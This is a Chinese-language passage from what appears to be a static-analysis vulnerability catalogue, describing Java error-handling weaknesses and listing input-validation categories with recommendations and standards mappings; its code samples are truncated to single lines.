至少,应该记录抛出异常的事实,以便于稍后查询及预知对程序运行所造成的影响。然而最好是中止当前操作。如果忽略某个异常的原因是因为调用者无法正确处理该异常,而程序上下文使调用者不便或不可能声明程序会抛出这一异常,那么可以考虑抛出 RuntimeException 或 Error 异常,两者均是未检查的异常。在 JDK 1.4 中,RuntimeException 有一个构造函数,可以方便地用来封装另其他异常。
例 2: 例 1 中的代码应该用以下方式重写:
1 | try { |
REFERENCES
[1] ERR00-J. Do not suppress or ignore checked exceptions CERT
[2] Standards Mapping - Common Weakness Enumeration CWE ID 391
[3] Standards Mapping - FIPS200 AU
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-11 Error Handling (P2)
[5] Standards Mapping - OWASP Top 10 2004 A7 Improper Error Handling
[6] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.7
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.2, Requirement 6.5.6
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[13] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3120 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3120 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3120 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3120 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3120 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3120 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3120 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
Poor Error Handling: Overly Broad Catch
ABSTRACT
catch 块可以处理的异常种类很多,但往往会由于过多的考虑不应该在此位置处理的各种问题或故障而困扰不已。
EXPLANATION
多个 catch 块看上去既难看又繁琐,但使用一个“简约”的 catch 块捕获高级别的异常类(如 Exception),可能会混淆那些需要特殊处理的异常,或是捕获了不应在程序中这一点捕获的异常。本质上,捕获范围过大的异常与“Java 分类定义异常”这一目的是相违背的。随着程序的增加而抛出新异常时,这种做法会十分危险。而新发生的异常类型也不会被注意到。
示例:以下代码使用了同一方式来处理三种不同的异常类型。
1 | try { |
其实,与其这样,还不如使用一个单独的 catch 块来处理这三种异常,如下所示:
1 | try { |
但是如果修改 doExchange(),以抛出需要以某种不同的方式处理的新异常类型,则范围过大的 catch 块会阻止编译器指出这一情况(有新的异常抛出)。此外,新 catch 块也将处理那些来自于 RuntimeException 的异常,比如 ClassCastException 和 NullPointerException,而这些异常的发生是不在程序员的计划之内的。
RECOMMENDATIONS
不要捕获范围过大的异常类,比如 Exception、Throwable、Error 或
REFERENCES
[1] ERR07-J. Do not throw RuntimeException, Exception, or Throwable CERT
[2] Standards Mapping - Common Weakness Enumeration CWE ID 396
[3] Standards Mapping - FIPS200 AU
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-11 Error Handling (P2)
[5] Standards Mapping - OWASP Top 10 2004 A7 Improper Error Handling
[6] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.7
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.2, Requirement 6.5.6
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[13] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3120 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3120 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3120 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3120 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3120 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3120 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3120 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
Poor Error Handling: Overly Broad Throws
ABSTRACT
该方法抛出了一个过于笼统异常,从而使调用者很难处理和修复发生的错误。
EXPLANATION
声明一种可以抛出 Exception 或 Throwable 异常的方法,从而使调用者很难处理和修复发生的错误。Java 异常机制的设置是:调用者可以方便地预计有可能发生的各种错误,并为每种异常情况编写处理代码。同时声明:一个方法抛出一个过于笼统的异常违反该系统。
示例:以下方法抛出了三种类型的异常。
1 | public void doExchange() |
这样写看上去会显得更加紧凑
1 | public void doExchange() |
这样做会防碍调用者理解和处理所发生的异常。此外,如果 doExchange() 因为变更了代码,而引入了一个需要不同于之前异常处理方式的新型异常,则不能使用简单的方式来处理该要求。
RECOMMENDATIONS
不要声明抛出 Exception 或 Throwable 异常的方法。如果方法抛出的异常无法恢复,或者通常不能被调用者捕获,那么可以考虑抛出未检查的异常,而不是已检查的异常。这可以通过实现一个继承自 RuntimeException 或Error 的类来代替 Exception,或者还可以在方法中加入 try/catch 块将已检查的异常转换为未检查异常。
REFERENCES
[1] ERR07-J. Do not throw RuntimeException, Exception, or Throwable CERT
[2] Standards Mapping - Common Weakness Enumeration CWE ID 397
[3] Standards Mapping - FIPS200 AU
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-11 Error Handling (P2)
[5] Standards Mapping - OWASP Top 10 2004 A7 Improper Error Handling
[6] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.7
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.2, Requirement 6.5.6
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[13] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3120 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3120 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3120 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3120 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3120 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3120 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3120 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
Poor Error Handling: Program Catches NullPointerException
ABSTRACT
通常来说,捕获 NullPointerException 并不是一个好方法。
EXPLANATION
程序员通常会在以下三种情况中捕获 NullPointerException:
程序间接引用一个空指针。捕获发生的异常要比修复一个潜在的问题更为简单。
程序显式地抛出了一个 NullPointerException 异常来标记错误状况。
该代码是测试代码的一部分,为正在测试的类提供了一个异常输入。
在上述三种情况中,只有最后一种是可以接受的。
示例:下列代码错误地捕获了一个 NullPointerException 异常。
1 | try { |
RECOMMENDATIONS
程序不应该间接引用空指针。如果您无法排除间接引用空指针的可能性,则必须仔细地检查代码,以确保对异常的处理方式不会导致程序进入一个异常或不合法的状态。
如果显式地抛出 NullPointerException,那么您应该修改程序,使其抛出一个 RuntimeException 或 Error 异常来取代它。
REFERENCES
[1] ERR08-J. Do not catch NullPointerException or any of its ancestors CERT
[2] Standards Mapping - Common Weakness Enumeration CWE ID 395
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-11 Error Handling (P2)
[4] Standards Mapping - OWASP Top 10 2004 A7 Improper Error Handling
[5] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.7
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.2, Requirement 6.5.6
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[12] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3120 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3120 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3120 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3120 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3120 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3120 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3120 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
Poor Error Handling: Return Inside Finally
ABSTRACT
从 finally 块中返回会导致异常的丢失。
EXPLANATION
finally 块中的返回指令会导致从 try 块中抛出的异常丢失。
例 1:在下列代码中,第二次调用 doMagic 方法,同时将参数 true 传递给该方法会导致抛出 MagicException 异常,该异常将不会传递给调用者。finally 块中的返回指令会导致异常的丢弃。
1 | public class MagicTrick { |
RECOMMENDATIONS
将返回指令移到 finally 块之外。如果必须要 finally 块返回一个值,可以简单地将该返回值赋给一个本地变量,然后在 finally 块执行完毕后返回该变量。
REFERENCES
[1] ERR04-J. Do not complete abruptly from a finally block CERT
[2] Standards Mapping - Common Weakness Enumeration CWE ID 584
[3] Standards Mapping - FIPS200 AU
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-11 Error Handling (P2)
[5] Standards Mapping - OWASP Top 10 2004 A7 Improper Error Handling
[6] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.7
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.2, Requirement 6.5.6
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[13] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3120 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3120 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3120 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3120 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3120 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3120 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3120 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
Poor Error Handling: Swallowed ThreadDeath
ABSTRACT
如果重新抛出了 ThreadDeath 错误,则出现问题的线程可能实际上并未终止。
EXPLANATION
如果异步终止了应用程序后需要将其清除,则应仅捕获 ThreadDeath 错误。如果捕获了 ThreadDeath 错误,则将其重新抛出非常重要,因为这样该线程才真正地终止。抛出 ThreadDeath 的目的是终止线程。如果 ThreadDeath 被抑制,则它可以阻止线程停止并导致意外行为,因为代码最初抛出 ThreadDeath 的目的是希望停止该线程。
例 1:下列代码捕获了 ThreadDeath 但未将其重新抛出。
1 | try |
RECOMMENDATIONS
始终重新抛出 ThreadDeath。 例 2:下列代码捕获了 ThreadDeath 并在清除后将其重新抛出。
1 | try |
REFERENCES
[1] Sun Microsystems, Inc. Java Sun Tutorial
[2] Scott Oaks, Henry Wong Java Threads O’Reilly
[3] Standards Mapping - Common Weakness Enumeration CWE ID 691
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-11 Error Handling (P2)
[5] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[6] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[7] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
Poor Error Handling: Throw Inside Finally
ABSTRACT
使用 finally 块中的 throw 语句会通过 try-catch-finally 破坏逻辑进度。
EXPLANATION
在 Java 中,finally 块通常在其相应的 try-catch 块之后执行,该块通常用于自由分配的资源,例如文件句柄或数据库指针。由于破坏了正常的程序执行,在 finally 块中抛出异常会绕过关键的清除代码。
例 1:在下列代码中,抛出 FileNotFoundException 时,将绕过对 stmt.close() 的调用。
1 | public void processTransaction(Connection conn) throws FileNotFoundException |
RECOMMENDATIONS
请勿从 finally 块中抛出异常。如果您必须重新抛出异常,请在 catch 块中执行该操作,这样不会影响到 finally 块的正常执行。
例 2:下列代码会在 catch 块中重新抛出 FileNotFoundException。
1 | public void processTransaction(Connection conn) throws FileNotFoundException |
REFERENCES
[1] Sun Microsystems, Inc. Java Sun Tutorial
[2] ERR05-J. Do not let checked exceptions escape from a finally block CERT
[3] Standards Mapping - Common Weakness Enumeration CWE ID 398
[4] Standards Mapping - FIPS200 AU
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-11 Error Handling (P2)
[6] Standards Mapping - OWASP Top 10 2004 A7 Improper Error Handling
[7] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.7
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.2, Requirement 6.5.6
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[14] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3120 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3120 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3120 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3120 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3120 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3120 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3120 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
Poor Error Handling: Unhandled SSL Exception
ABSTRACT
没有显式地处理 SSL 异常可能会导致应用程序无法发现意外状况和情况。
EXPLANATION
未处理的 SSL 异常会在以下情况中发生:
抛出特定的 SSL 异常。
未显式地处理异常。
特定 SSL 异常 javax.net.ssl.SSLHandshakeException、javax.net.ssl.SSLKeyException 和 javax.net.ssl.SSLPeerUnverifiedException 都可以传达与 SSL 连接相关的重要错误。如果没有显式地处理这些错误,连接会被处于一种意想不到的、潜在不安全的状态。
几乎每一个对软件系统的严重攻击都是从违反程序员的假设开始的。攻击后,程序员的假设看起来既脆弱又拙劣,但攻击前,许多程序员会在午休时间为自己的种种假设做很好的辩护。
代码中两个容易识破的可疑假设是:“该操作从不会失败”和“如果该操作失败了也没关系”。如果程序员没有抓住某个操作抛出的异常,则间接地表明了他们是基于这些假设进行的操作。
RECOMMENDATIONS
如果某个操作可以抛出异常或提供运行成功或失败的其他证据,应务必检查错误条件,即便没有明显的发生方式。除了防止安全错误之外,许多最初难以解决的 bug 最终都会回到未处理的错误状况中。
在您的应用程序中创建一种便于使用的、标准的处理故障方法。如果错误处理过程简单直接,往往不容易被程序员忽略。一种标准化的错误处理方法是,将围绕检查和处理错误状况的常用函数写入封装器,而无需程序员的其他干预。实施并采用封装器后,就可以禁止使用未封装的函数,并利用自定义规则加以执行。
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 388
[2] Standards Mapping - FIPS200 AU
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-11 Error Handling (P2)
[4] Standards Mapping - OWASP Top 10 2004 A7 Improper Error Handling
[5] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.7
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.2, Requirement 6.5.6
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[12] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3120 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3120 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3120 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3120 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3120 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3120 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3120 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[22] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[23] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
输入验证与展示问题
输入验证和表示问题是由于元字符、备选编码和数值表示而引起的。安全问题是由于信任输入而引起的。这些问题包括:“缓冲区溢出”、“跨站点脚本”攻击、“SQL 注入”和许多其他问题。
ADF Bad Practices: Missing URL Parameter Converter
Access Specifier Manipulation
Android Class Loading Hijacking
Bean Manipulation
Command Injection
Content Provider URI Injection
Cross-Site Scripting: DOM
Cross-Site Scripting: External Links
Cross-Site Scripting: Inter-Component Communication
Cross-Site Scripting: Persistent
Cross-Site Scripting: Poor Validation
Cross-Site Scripting: Reflected
Dangerous File Inclusion
Denial of Service
Denial of Service: Format String
Denial of Service: Parse Double
Denial of Service: Regular Expression
Denial of Service: StringBuilder
Deserialization Bad Practice: Blacklist
Dynamic Code Evaluation: Code Injection
Dynamic Code Evaluation: Code Manipulation
Dynamic Code Evaluation: JNDI Reference Injection
Dynamic Code Evaluation: Script Injection
Dynamic Code Evaluation: Unsafe Deserialization
Dynamic Code Evaluation: Unsafe JSON Deserialization
Dynamic Code Evaluation: Unsafe XStream Deserialization
Dynamic Code Evaluation: XMLDecoder Injection
Expression Language Injection: Spring
File Permission Manipulation
Formula Injection
HTTP Parameter Pollution
Hadoop Cluster Manipulation
Hadoop Job Manipulation
Header Manipulation
Header Manipulation: Cookies
Header Manipulation: SMTP
Insecure Sanitizer Policy
Intent Manipulation
JSON Injection
LDAP Entry Poisoning
LDAP Injection
LDAP Manipulation
Log Forging
Log Forging (debug)
Mail Command Injection: IMAP
Mail Command Injection: POP3
Mail Command Injection: SMTP
Missing XML Validation
Missing XML Validation: Untyped Response
OGNL Expression Injection
OGNL Expression Injection: Double Evaluation
OGNL Expression Injection: Dynamic Method Invocation
OGNL Expression Injection: Struts 2
Open Redirect
Path Manipulation
Path Manipulation: Zip Entry Overwrite
Process Control
Process Control: Invoker Servlet
Query String Injection: Amazon Web Services
Query String Injection: Android Provider
Reflected File Download
Resource Injection
SQL Injection
SQL Injection: Hibernate
SQL Injection: JDO
SQL Injection: MyBatis Mapper
SQL Injection: Persistence
SQL Injection: iBatis Data Map
Server-Side Request Forgery
Server-Side Template Injection
Session Puzzling: Spring
Setting Manipulation
Spring Beans Injection
Struts 2: Action Field Without Validator
Struts 2: Duplicate Action Field Validators
Struts 2: Duplicate Validation Files
Struts 2: Duplicate Validators
Struts 2: Undeclared Validator
Struts 2: Unvalidated Action
Struts 2: Validation File Without Action
Struts 2: Validator Without Action Field
Struts: Duplicate Validation Forms
Struts: Erroneous validate() Method
Struts: Form Does Not Extend Validation Class
Struts: Form Field Without Validator
Struts: Plugin Framework Not In Use
Struts: Unused Action Form
Struts: Unused Validation Form
Struts: Unvalidated Action Form
Struts: Validator Turned Off
Struts: Validator Without Form Field
System Information Leak: Struts 2
Unsafe JNI
Unsafe JSNI
Unsafe Reflection
XML Entity Expansion Injection
XML External Entity Injection
XML Injection
XPath Injection
XQuery Injection
XSLT Injection
ADF Bad Practices: Missing URL Parameter Converter
ABSTRACT
Oracle ADF Faces 可标记视图缺少 URL 参数转换器。
EXPLANATION
在常规 JSF 应用程序中,使用 UI 组件指定的转换器和验证器对值进行转换和验证。转换和验证会在提交页面时执行。Fusion 应用程序中的可标记视图会导致不提交页面,因此默认情况下不会执行相应的转换或验证。
例 1:以下配置文件片段显示了配置为不执行 paramName URL 参数转换或验证的可标记视图示例。
1 | ... |
RECOMMENDATIONS
为确保在可标记视图上执行适当的 URL 参数转换和验证,必须为每个 URL 参数配置指定的转换器。
例 2:以下片段显示了通过重写从上文中摘录的配置,为 paramName URL 参数配置相应的转换器。
1 | ... |
REFERENCES
[1] Oracle(R) Fusion Middleware Fusion Developer’s Guide for Oracle Application Development Framework, 15.2.3.Bookmarking View Activities
[2] Standards Mapping - Common Weakness Enumeration CWE ID 20
[3] Standards Mapping - FIPS200 CM
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[8] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[11] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[12] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[13] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[14] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[15] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[16] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[21] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
Access Specifier Manipulation
ABSTRACT
方法调用可更改访问说明符。
EXPLANATION
AccessibleObject API 允许程序员绕过由 Java 访问说明符提供的 access control 检查。特别是它让程序员能够允许反映对象绕过 Java access control,并反过来更改私有字段或调用私有方法、行为,这些通常情况下都是不允许的。
RECOMMENDATIONS
只能使用攻击者无法设置的参数,通过有权限的类更改访问说明符。所有出现的访问说明符都应仔细检查。
REFERENCES
[1] INPUT-1: Validate inputs Oracle
[2] Standards Mapping - Common Weakness Enumeration CWE ID 284
[3] Standards Mapping - FIPS200 AC
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[6] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[7] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[8] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[16] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 676
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authorization
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Android Class Loading Hijacking
ABSTRACT
从一个不可信赖的数据源或在不可信赖的环境中加载类,可能会导致应用程序以攻击者的名义执行恶意命令。
EXPLANATION
Android 类加载劫持漏洞主要表现为以下两种形式:
攻击者可以更改程序在其中搜索来加载类的目录的名称,从而指向他们有控制权的某个目录的路径:攻击者明确控制了将在其中搜索类的路径。
攻击者可以更改用于加载类的环境:攻击者间接控制了路径名的含义。
